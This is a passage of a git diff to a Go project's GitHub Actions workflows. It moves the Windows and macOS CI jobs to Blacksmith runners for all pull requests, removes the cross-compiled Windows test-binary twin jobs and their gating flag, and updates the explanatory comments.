'blacksmith' shell: bash env: GOCACHE: ${{ runner.temp }}/go-cache/non-race @@ -317,30 +211,22 @@ jobs: # macOS saver: pr.yml's pr-preflight-platforms and # check-doc-freshness-platforms macOS legs run on blacksmith-6vcpu-macos-26 - # for same-repo PRs/merge_group and on macos-latest for fork/Dependabot PRs, - # and Blacksmith and GitHub-hosted runners cannot see each other's - # actions/cache entries, so the `venue` matrix seeds both (same convention as - # test-windows). This job is their only seeder - # (and the Blacksmith leg also seeds the `test` job's module and non-race - # caches), and runs only the shared warm-up those legs compile + # for every PR, forks included (ga-96smfk.22). This job is their only + # seeder (and also seeds the `test` job's module and non-race caches), and runs only the shared warm-up those legs compile # (warm-non-race-cache.sh, the same script the Windows seeder uses) # plus the non-test ./cmd/bd build -- no tests, so it stays a few minutes of # macOS time per push. Same push-to-main-only job guard (B2) and go.sum + # UTC-day cache keys (S7) as test-windows, so a PR can never # write this namespace and ordinary push traffic writes at most one - # non-race entry per day per venue. Pinned by + # non-race entry per day. Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest, # TestBlacksmithSaverCacheKeysAreNotPerCommit and # TestBlacksmithMacOSSaverMatchesPRLegs. blacksmith-macos-go-build-cache: - name: Warm macOS Go build cache (${{ matrix.venue }}) - runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-6vcpu-macos-26' || 'macos-latest' }} + name: Warm macOS Go build cache + runs-on: ${{ 'blacksmith-6vcpu-macos-26' }} if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - venue: [blacksmith, github] steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -371,9 +257,8 @@ jobs: key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - # Records each venue's toolchain in the log so an image drift between - # Blacksmith and GitHub's macos-latest is visible next to the cache it - # seeds. + # Records the toolchain in the log so an image drift is visible next + # to the cache it seeds. - name: Check macOS toolchain diagnostics run: | sw_vers diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index b469bec4f..7a9478e8b 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -23,24 +23,16 @@ concurrency: env: BD_DISABLE_METRICS: "1" BD_DISABLE_EVENT_FLUSH: "1" - # F4 side-by-side rollout: "false" keeps the native windows-latest jobs - # (test-windows-liveness, worktree-remove-windows) as the required pair and - # their Linux-cross-built "-prebuilt" twins (test-windows-liveness-prebuilt, - # worktree-remove-windows-prebuilt) advisory-only. Both pairs run and report - # on every PR regardless of this flag; flipping it to "true" swaps which - # pair ci-gate enforces (the other pair moves to CI_GATE_SKIPPED_OK) without - # touching ci-gate.needs or the env map below -- see the "Evaluate CI gate" # step's run script. Committed, not a repo variable, so a re-run can never # change it. - WINDOWS_PREBUILT_REQUIRED: "true" # bazel.yml's bazel-cmd-dolt lane (the cmd/bd Dolt-server tier: the # Dolt-gated cmd/bd tests no other lane runs) is advisory while this is # "false": it runs and reports in the bazel call (continue-on-error, so a # failure never turns the call's aggregate red), and ci-gate ignores its # BAZEL_CMD_DOLT result. "true" adds BAZEL_CMD_DOLT to CI_GATE_REQUIRED in # the "Evaluate CI gate" step's run script; bazel-gate.sh still accepts - # its skip in modes skip and local. Committed, not a repo variable, for - # the same reason as WINDOWS_PREBUILT_REQUIRED above. The `bazel` job's cmd-dolt-required + # its skip in modes skip and local. Committed, not a repo variable, so a + # re-run can never change it. The `bazel` job's cmd-dolt-required # input must equal it (a `with:` cannot read env; policy-tested): "true" # also drops //cmd/bd:bd_test from bazel-integration, because the required # lane runs the same integration-build bd_test without the dolt skip, so @@ -132,26 +124,18 @@ jobs: # regressions actually execute at PR time. The init credential shell # fixtures are a separate concern and run natively in # pr-preflight-platforms, not here. - # F7b: same-repo Blacksmith (blacksmith-4vcpu-windows-2025) for same-repo - # PRs/merge_group, falling back to windows-latest for forks/Dependabot -- - # same pattern as the Linux same-repo jobs above, with the Windows-2025 - # label instead (public beta; GitHub's windows-2025 image minus the full - # Visual Studio IDE/EdgeDriver/WinAppDriver, VS Build Tools 2022 present, - # no Linux Docker). - # - # RISK (unverified from this sandbox, flagged in the F7b report): the first - # step below builds and runs ./cmd/bd with CGO_ENABLED=1 (embedded Dolt). - # windows-latest's cgo build works today via the toolchain GitHub documents - # for that image; Blacksmith's windows-2025 docs only confirm "VS Build - # Tools 2022" is present, not which cgo toolchain (MSVC/clang-cl vs an - # installed mingw-w64) backs `go build` with CGO_ENABLED=1 there. The - # fork-PR path (windows-latest) is an unaffected, always-on canary for this - # job; if the same-repo leg fails here specifically with a cgo/link error, - # that is the toolchain gap to roll back on (revert this runs-on line to - # the literal `windows-latest`). + # Blacksmith Windows (blacksmith-4vcpu-windows-2025: GitHub's windows-2025 + # image minus the full Visual Studio IDE/EdgeDriver/WinAppDriver, VS Build + # Tools 2022 present, no Linux Docker) for every PR and merge group, forks + # and Dependabot included (ga-96smfk.22): Windows and macOS jobs run on + # Blacksmith, everything Linux under Bazel on rbe-west. The first step + # builds ./cmd/bd with CGO_ENABLED=1 (embedded Dolt); the toolchain + # diagnostic step below prints which cgo toolchain backs it. Since + # ga-96smfk.22 this job (not a cross-compiled "-prebuilt" twin) is the + # required run of these tests. test-windows-liveness: name: Test (Windows) cmd/bd liveness regression - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }} + runs-on: ${{ 'blacksmith-4vcpu-windows-2025' }} # F7b review fix (S6): raised from 15 to 20, matching open PR #7143's own # measurement on this exact job (retained runs take about 8m; one run's # own step timing showed 451s total with a 403s compile step) and @@ -263,12 +247,12 @@ jobs: # on the second step only ensures it still runs after the first fails, # giving both packages' results in one log instead of stopping at the # first failure. No aggregator step is needed. - # F7b: same-repo Blacksmith (blacksmith-2vcpu-windows-2025); both steps + # Blacksmith Windows (blacksmith-2vcpu-windows-2025) for every PR; both steps # build with CGO_ENABLED=0 (or no cgo at all for doltversion), so this job # carries none of test-windows-liveness's cgo-toolchain risk. test-windows-small: name: Test (Windows) small packages (doltversion, dbproxy server) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-windows-2025' || 'windows-latest' }} + runs-on: ${{ 'blacksmith-2vcpu-windows-2025' }} timeout-minutes: 15 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -304,13 +288,12 @@ jobs: # Destructive worktree removal depends on native Windows path identity. # This focused process suite requires NTFS per-directory case sensitivity # and fails (rather than skips) when the runner cannot provide it. - # F7b: same-repo Blacksmith (blacksmith-4vcpu-windows-2025). CGO_ENABLED=0 - # below, so no cgo-toolchain risk; this leg's non-race GOCACHE restore-keys - # prefix now gets a hit from main.yml's test-windows job, whose `venue` - # matrix extension (F7b) saves that same key on this exact runner - # selection (restore-keys falls back to the most recent prefix match - # regardless of the exact sha, same as build-artifacts already does for - # the Linux preflight/doc-freshness legs). + # Blacksmith Windows (blacksmith-4vcpu-windows-2025) for every PR. + # CGO_ENABLED=0 below, so no cgo-toolchain risk; its non-race GOCACHE + # restore-keys prefix gets a hit from main.yml's test-windows job, which + # saves that key on this exact runner selection (restore-keys falls back + # to the most recent prefix match regardless of the exact sha). Since + # ga-96smfk.22 this job is the required run of these tests. # # RISK (F7b review: not flagged in the original implementation -- # cmd/bd/worktree_remove_git_windows_test.go:233 shells out to @@ -321,12 +304,11 @@ jobs: # does not treat an unsupported fsutil call as a skip condition). The # diagnostic step below surfaces that gap in this job's own log instead of # a bare test failure deep in the suite; if it reports the feature missing, - # roll back this job's runs-on to the literal `windows-latest` (same - # rollback as test-windows-liveness's cgo risk above) until Blacksmith - # confirms/enables it. + # roll back this job's runs-on to the literal `windows-latest` until + # Blacksmith confirms/enables it. worktree-remove-windows: name: Worktree remove boundary (Windows) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }} + runs-on: ${{ 'blacksmith-4vcpu-windows-2025' }} timeout-minutes: 15 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -373,203 +355,6 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go test -tags gms_pure_go -count=1 -run '^TestWorktreeRemove' ./cmd/bd - # F4 side-by-side rollout (advisory phase): cross-compiles the Windows test - # binaries this file's native Windows jobs need, from a committed manifest - # (scripts/ci/windows-test-binaries.txt), on a Linux runner via mingw-w64 -- - # the same toolchain release.yml's goreleaser job uses for the shipped - # bd-windows-amd64 binary (CC=x86_64-w64-mingw32-gcc; see .goreleaser.yml). - # The "-prebuilt" twin jobs below download this artifact and run it - # natively on windows-latest instead of compiling there, so the CGO build - # that otherwise runs once per Windows job runs here once instead. - # - # Deliberately advisory only: the native `test-windows-liveness` and - # `worktree-remove-windows` jobs above are untouched and still the only - # required pair while WINDOWS_PREBUILT_REQUIRED (top of this file) is - # "false". ci-gate does wait on this job's two twins below (they are in its - # `needs`), but neither twin's result is in CI_GATE_REQUIRED yet -- the - # side-by-side phase runs both paths on every PR so a policy test - # (TestWindowsTestBinariesSelectSameTestsAsNativeJobs, in - # scripts/windows_test_binaries_manifest_test.go) can confirm they select - # the same tests before anyone flips WINDOWS_PREBUILT_REQUIRED to "true". - # - # Manifest is intentionally partial in this phase: it covers only the two - # cmd/bd-backed jobs twinned below. Forks and Dependabot PRs get no - # secrets here, same as every job in this file -- cross-compiling and - # uploading an artifact needs none. - windows-test-binaries: - name: Build Windows test binaries (cross-compile) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 30 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Verify Go module checksums - run: go mod verify - - - name: Install mingw cross-compiler - timeout-minutes: 12 - run: | - updated="" - for attempt in 1 2 3; do - if sudo timeout 120 apt-get -o Acquire::Retries=3 -o Acquire::http::Timeout=30 -o Acquire::https::Timeout=30 update; then - updated=yes - break - fi - echo "::warning::apt-get update attempt $attempt failed or timed out" - if [ "$attempt" -lt 3 ]; then sleep 10; fi - done - if [ -z "$updated" ]; then - echo "::warning::apt-get update failed after 3 attempts; proceeding with cached index" - fi - sudo timeout 300 apt-get install -y gcc-mingw-w64-x86-64 - - - name: Restore Go build cache (Windows cross-compile) - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 - key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64-${{ github.sha }} - restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-xcompile-windows-amd64- - - - name: Build Windows test binaries - env: - GOCACHE: ${{ runner.temp }}/go-cache/xcompile-windows-amd64 - run: bash scripts/ci/build-windows-test-binaries.sh "$RUNNER_TEMP/win-bin" - - - name: Upload Windows test binaries - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 - with: - name: windows-test-binaries - path: ${{ runner.temp }}/win-bin - retention-days: 1 - compression-level: 1 - if-no-files-found: error - - # Advisory twin of test-windows-liveness: runs the identical test selection, - # flags, and env on windows-latest, but against the binary - # windows-test-binaries cross-compiled instead of compiling here. Step - # names, -run patterns, -count, and the PASS/FAIL parsing block are kept - # byte-for-byte equivalent to the native job on purpose -- - # TestWindowsTestBinariesSelectSameTestsAsNativeJobs checks the -run - # literals stay in sync. - # F7b: same-repo Blacksmith (blacksmith-2vcpu-windows-2025). This leg only - # runs a prebuilt binary (cross-compiled on Linux by windows-test-binaries - # via mingw-w64) rather than compiling with cgo on the Windows runner - # itself, so it carries none of test-windows-liveness's cgo-toolchain risk. - test-windows-liveness-prebuilt: - name: Test (Windows, prebuilt) cmd/bd liveness regression - needs: windows-test-binaries - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-windows-2025' || 'windows-latest' }} - timeout-minutes: 15 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Download Windows test binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: windows-test-binaries - path: ${{ runner.temp }}/win-bin - - - name: Verify downloaded binaries - shell: bash - run: | - cd "$RUNNER_TEMP/win-bin" - sha256sum -c SHA256SUMS - - # F7b review fix (S9): these binaries are cgo-linked on Linux via - # mingw-w64 (windows-test-binaries), not compiled on this runner, so - # the risk here is specifically whether a cross-compiled binary loads - # and runs at all on Blacksmith's windows-2025 image (missing runtime - # DLLs, etc.), not the cgo-toolchain risk test-windows-liveness - # carries. `-run '^$'` loads/links the binary and matches no tests, so - # a load failure surfaces here instead of inside the real test step. - - name: Check prebuilt Windows binary loads - shell: bash - run: bash scripts/ci/run-go-test-binary.sh "$RUNNER_TEMP/win-bin/cmd-bd-cgo.test.exe" ./cmd/bd -run '^$' -count=1 - - - name: Run native Windows global Prime override (prebuilt) - shell: bash - run: | - export BEADS_TEST_PREBUILT_TEST_BINARY="$RUNNER_TEMP/win-bin/cmd-bd-cgo.test.exe" - export BEADS_TEST_BD_BINARY="$RUNNER_TEMP/win-bin/bd.exe" - go_path=$(command -v go) - [[ "$("$go_path" env GOHOSTOS GOOS)" == $'windows\nwindows' ]] - test_status=0 - test_output=$(./scripts/test.sh -v -timeout 5m -run '^TestPrimeBinaryPortfolio$/^TestPrime_HookJSON_GlobalPrimeOverride$' -count=1 ./cmd/bd) || test_status=$? - printf '%s\n' "$test_output" - ((test_status == 0)) - pass_pattern='^[[:space:]]*--- PASS: TestPrimeBinaryPortfolio/TestPrime_HookJSON_GlobalPrimeOverride \(' - nonpass_pattern='^[[:space:]]*--- (FAIL|SKIP): ' - pass_count=0 - while IFS= read -r line; do - if [[ "$line" =~ $pass_pattern ]]; then - ((pass_count += 1)) - fi - if [[ "$line" =~ $nonpass_pattern ]]; then - exit 1 - fi - done <<<"$test_output" - ((pass_count == 1)) - - - name: Run Windows liveness regression test (prebuilt) - shell: bash - run: bash scripts/ci/run-go-test-binary.sh "$RUNNER_TEMP/win-bin/cmd-bd-cgo.test.exe" ./cmd/bd -run '^TestIsServerProbablyRunning' -count=1 - - # Advisory twin of worktree-remove-windows: same package, -run pattern, and - # CGO_ENABLED=0 selection as the native job, but against the cgo=0 binary - # windows-test-binaries cross-compiled instead of compiling here. - # F7b: same-repo Blacksmith (blacksmith-2vcpu-windows-2025); same prebuilt- - # binary rationale as test-windows-liveness-prebuilt above. - worktree-remove-windows-prebuilt: - name: Worktree remove boundary (Windows, prebuilt) - needs: windows-test-binaries - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-windows-2025' || 'windows-latest' }} - timeout-minutes: 15 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download Windows test binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: windows-test-binaries - path: ${{ runner.temp }}/win-bin - - - name: Verify downloaded binaries - shell: bash - run: | - cd "$RUNNER_TEMP/win-bin" - sha256sum -c SHA256SUMS - - # F7b review fix (S9): see test-windows-liveness-prebuilt's identical - # step for the full rationale. - - name: Check prebuilt Windows binary loads - shell: bash - run: bash scripts/ci/run-go-test-binary.sh "$RUNNER_TEMP/win-bin/cmd-bd-nocgo.test.exe" ./cmd/bd -run '^$' -count=1 - - - name: Run native Windows worktree removal boundary tests (prebuilt) - shell: bash - run: bash scripts/ci/run-go-test-binary.sh "$RUNNER_TEMP/win-bin/cmd-bd-nocgo.test.exe" ./cmd/bd -run '^TestWorktreeRemove' -count=1 - # Check documentation references match actual CLI flags # # Stays a job: the generated CLI docs describe the release pinned in @@ -631,35 +416,19 @@ jobs: # (integration lane: the doc-freshness suite under -required-suite) and # //scripts/gitattributespolicy:gitattributespolicy_required_host_test # (-required-host -expected-goos linux), both on rbe-west's Linux workers. - # The macOS and Windows legs stay here, on Blacksmith for same-repo PRs and - # merge groups (GitHub-hosted for forks and Dependabot). - # - # F7b: same-repo Blacksmith for the Linux/Windows legs via the "matrix - # marker" form (spec F7/F7b §2.1): Actions does not expand `${{ }}` inside a - # matrix array/include value, so each leg's `include` entry instead carries - # a plain string `runner` marker, and the job's `runs-on` is a single - # chained ternary (sameRepoPlatformsMatrixMarkerRunsOn in - # scripts/ci_blacksmith_runner_test.go) that resolves per-marker, falling - # back to `matrix.os` for forks/Dependabot (each marker's own same-repo - # condition false) or any leg with no marker. Every leg now restores a - # non-race Go build cache seeded by main.yml's push-to-main savers on the - # exact same runner selection (S2 below). - # - # The macOS leg moves to same-repo Blacksmith macOS - # (blacksmith-6vcpu-macos-26, Apple Silicon) like the other two legs; forks, - # Dependabot and any non-PR event keep GitHub-hosted macos-latest. The label - # is pinned to macos-26 because that is the image GitHub's macos-latest - # resolves to today (macos-26-arm64), so both paths run the same OS and - # architecture; bump it together with GitHub's macos-latest migration. - # 6 vCPU (vs. macos-latest's 3) is already 2x the GitHub-hosted leg; the - # 12 vCPU size is not justified for a leg dominated by one incremental - # ./cmd/bd test compile. This reverses F7b review fix S3 (cost accepted): - # main.yml's blacksmith-macos-go-build-cache job is the push-to-main - # Blacksmith-macOS saver S3 said was missing, on this exact label, and the - # GitHub-hosted fork path still restores main.yml's `test` job macOS leg. + # The macOS and Windows legs stay here, on Blacksmith for every PR and + # merge group, forks and Dependabot included (ga-96smfk.22). Each leg's + # `include` entry names its Blacksmith label in `runner` (`os` keeps the + # check names stable and selects the Windows-only steps). Every leg + # restores a non-race Go build cache seeded by main.yml's push-to-main + # savers on the exact same label (S2 below): test-windows for Windows, + # blacksmith-macos-go-build-cache for macOS. The macOS label is pinned to + # macos-26 (Apple Silicon, the image GitHub's macos-latest resolves to); + # 6 vCPU is enough for a leg dominated by one incremental ./cmd/bd test + # compile. check-doc-freshness-platforms: name: Check doc freshness (${{ matrix.os }}) - runs-on: ${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest') || matrix.os }} + runs-on: ${{ matrix.runner }} timeout-minutes: 10 strategy: fail-fast: false @@ -667,10 +436,10 @@ jobs: include: - os: macos-latest expected_goos: darwin - runner: same-repo-macos + runner: blacksmith-6vcpu-macos-26 - os: windows-latest expected_goos: windows - runner: same-repo-windows + runner: blacksmith-4vcpu-windows-2025 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -711,10 +480,14 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go test '-tags=integration,gms_pure_go' -count=1 ./scripts/gitattributespolicy -args -required-host -expected-goos '${{ matrix.expected_goos }}' - # F7b: same-repo Blacksmith via the "matrix marker" form (see - # check-doc-freshness-platforms above for the full explanation; - # sameRepoPlatformsMatrixMarkerRunsOn in scripts/ci_blacksmith_runner_test.go - # is this same chained ternary). + # Blacksmith macOS and Windows legs, labels in the matrix (see + # check-doc-freshness-platforms above). The Linux leg is retired + # (ga-96smfk.22): every Linux step's tests run under Bazel on rbe-west + # (//scripts:scripts_test, //cmd/bd:bd_test, //internal/config:config_test). + # Only the two + # tests of go test's own bd build fallback + # (tools/bazel/equivalence_allowlist.txt) skip under Bazel; they keep + # running here on macOS and Windows. # # F7b review (S1): an earlier revision of this job split the Windows leg # into two `shard` entries on the theory that it would turn one ~9-minute @@ -728,21 +501,18 @@ jobs: # step) for the fix that actually targets it. Reverted to one leg per OS. pr-preflight-platforms: name: PR preflight process (${{ matrix.os }}) - runs-on: ${{ matrix.runner == 'same-repo-linux' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest') || matrix.runner == 'same-repo-windows' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest') || matrix.runner == 'same-repo-macos' && ((github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-6vcpu-macos-26' || 'macos-latest') || matrix.os }} + runs-on: ${{ matrix.runner }} timeout-minutes: 20 strategy: fail-fast: false matrix: include: - - os: ubuntu-latest - expected_goos: linux - runner: same-repo-linux - os: macos-latest expected_goos: darwin - runner: same-repo-macos + runner: blacksmith-6vcpu-macos-26 - os: windows-latest expected_goos: windows - runner: same-repo-windows + runner: blacksmith-4vcpu-windows-2025 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -761,16 +531,14 @@ jobs: restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- # F7b review (S2): restore-only non-race Go build cache, seeded by the - # push-to-main saver on the exact same runner selection (Linux: - # main.yml's blacksmith-go-build-cache non-race leg; Windows: - # main.yml's test-windows Blacksmith leg; macOS: main.yml's - # blacksmith-macos-go-build-cache on Blacksmith, the test job's macOS - # leg on the GitHub-hosted fork path) so the cold cmd/bd compile below (the real long pole, - # 250-300s uncached) gets a true cache hit instead of starting cold. - # GOCACHE must match the seeder's exactly, and CGO_ENABLED is left at - # its platform default (same as the seeder) so the key families line - # up; see mainBlacksmithGoBuildCacheRunsOn / mainVenueBlacksmithWindows4vcpuRunsOn - # in ci_workflow_test.go for the seeder side of this contract. + # push-to-main saver on the exact same Blacksmith label (Windows: + # main.yml's test-windows; macOS: main.yml's + # blacksmith-macos-go-build-cache) so the cold cmd/bd compile below + # (the real long pole, 250-300s uncached) gets a true cache hit instead + # of starting cold. GOCACHE must match the seeder's exactly, and + # CGO_ENABLED is left at its platform default (same as the seeder) so + # the key families line up; see mainBlacksmithWindows4vcpuRunsOn in + # ci_workflow_test.go for the seeder side of this contract. - name: Restore non-race Go build cache uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 with: @@ -1032,10 +800,8 @@ jobs: # steps keeps `if: ${{ !cancelled() }}` (plus a check that its own leg's # setup succeeded) so a failure in one leg does not stop the later legs # from attempting to run - the fail-fast: false behavior the matrix used to - # give for free. windows-make-shell is not a Windows job F4 touches (it - # does not intersect test-windows-liveness, worktree-remove-windows, the - # preflight/doc-freshness matrices, or the twins). - # F7b: same-repo Blacksmith (blacksmith-4vcpu-windows-2025). + # give for free. + # Blacksmith Windows (blacksmith-4vcpu-windows-2025) for every PR. # # RISK (unverified from this sandbox, flagged in the F7b report): the # native-Make step below assumes Chocolatey is preinstalled (`choco @@ -1046,12 +812,11 @@ jobs: # is not independently confirmed. The msys2/setup-msys2 and # cygwin/cygwin-install-action steps download their own tooling and do not # depend on any preinstalled image contents, so they carry no equivalent - # risk. The fork-PR path (windows-latest) remains an always-on canary; if - # only the same-repo leg's native-Make step fails here, that is the gap to - # roll back on (revert this runs-on line to the literal `windows-latest`). + # risk. If only the native-Make step fails here, that is the gap to roll + # back on (revert this runs-on line to the literal `windows-latest`). windows-make-shell: name: Windows Make shell (native, msys2, cygwin) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }} + runs-on: ${{ 'blacksmith-4vcpu-windows-2025' }} timeout-minutes: 30 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1085,8 +850,7 @@ jobs: # disables that implicit save on Blacksmith (fail-closed: only the # literal "github-hosted" value keeps caching on, matching the # fail-closed convention F7c review fix N1 set for actions/setup-go's - # own `cache` input) while leaving the always-on fork-PR - # (windows-latest) leg's caching behavior unchanged. Pinned by + # own `cache` input). Pinned by # TestBlacksmithReachablePRJobsDisableDefaultCachingActions. - name: Set up MSYS2 GNU Make id: install-msys2 @@ -1611,8 +1375,6 @@ jobs: - fast-checks - test-windows-liveness - worktree-remove-windows - - test-windows-liveness-prebuilt - - worktree-remove-windows-prebuilt - check-doc-flags - check-doc-freshness-platforms - pr-preflight-platforms @@ -1634,6 +1396,8 @@ jobs: PR_PREFLIGHT_PLATFORMS PACKAGE_MCP PACKAGE_NPM + TEST_WINDOWS_LIVENESS + WORKTREE_REMOVE_WINDOWS WINDOWS_MAKE_SHELL BAZEL BAZEL_TEST @@ -1660,12 +1424,6 @@ jobs: FAST_CHECKS: ${{ needs.fast-checks.result }} TEST_WINDOWS_LIVENESS: ${{ needs.test-windows-liveness.result }} WORKTREE_REMOVE_WINDOWS: ${{ needs.worktree-remove-windows.result }} - # F4 side-by-side rollout: always evaluated, like the native pair - # above; WINDOWS_PREBUILT_REQUIRED (top of this file) decides below - # which pair is in CI_GATE_REQUIRED and which is in - # CI_GATE_SKIPPED_OK. - TEST_WINDOWS_LIVENESS_PREBUILT: ${{ needs.test-windows-liveness-prebuilt.result }} - WORKTREE_REMOVE_WINDOWS_PREBUILT: ${{ needs.worktree-remove-windows-prebuilt.result }} CHECK_DOC_FLAGS: ${{ needs.check-doc-flags.result }} CHECK_DOC_FRESHNESS_PLATFORMS: ${{ needs.check-doc-freshness-platforms.result }} PR_PREFLIGHT_PLATFORMS: ${{ needs.pr-preflight-platforms.result }} @@ -1697,22 +1455,6 @@ jobs: BAZEL_RBE_ENABLED: ${{ needs.bazel.outputs.rbe-enabled }} run: | skipped_ok="" - # F4 side-by-side rollout: WINDOWS_PREBUILT_REQUIRED (top of this - # file) flips which pair of Windows jobs ci-gate enforces with a - # single committed flag, instead of three edits per job - # (ci-gate.needs, CI_GATE_REQUIRED, and this step's env map) done - # twice. Both pairs are unconditionally in ci-gate.needs and always - # evaluated above (neither is in the static CI_GATE_REQUIRED list); - # only which pair is added to CI_GATE_REQUIRED (enforced) vs. - # skipped_ok (merely advisory -- a failure there cannot redden the - # gate) changes here. - if [[ "$WINDOWS_PREBUILT_REQUIRED" == "true" ]]; then - CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS_PREBUILT WORKTREE_REMOVE_WINDOWS_PREBUILT" - skipped_ok="$skipped_ok TEST_WINDOWS_LIVENESS WORKTREE_REMOVE_WINDOWS" - else - CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS WORKTREE_REMOVE_WINDOWS" - skipped_ok="$skipped_ok TEST_WINDOWS_LIVENESS_PREBUILT WORKTREE_REMOVE_WINDOWS_PREBUILT" - fi # The cmd/bd Dolt-server tier (bazel.yml's bazel-cmd-dolt) is # advisory until BAZEL_CMD_DOLT_REQUIRED (top of this file) is # "true"; it is never in the static list above. diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index f706e6d18..6d4f8f454 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1186,38 +1186,53 @@ What 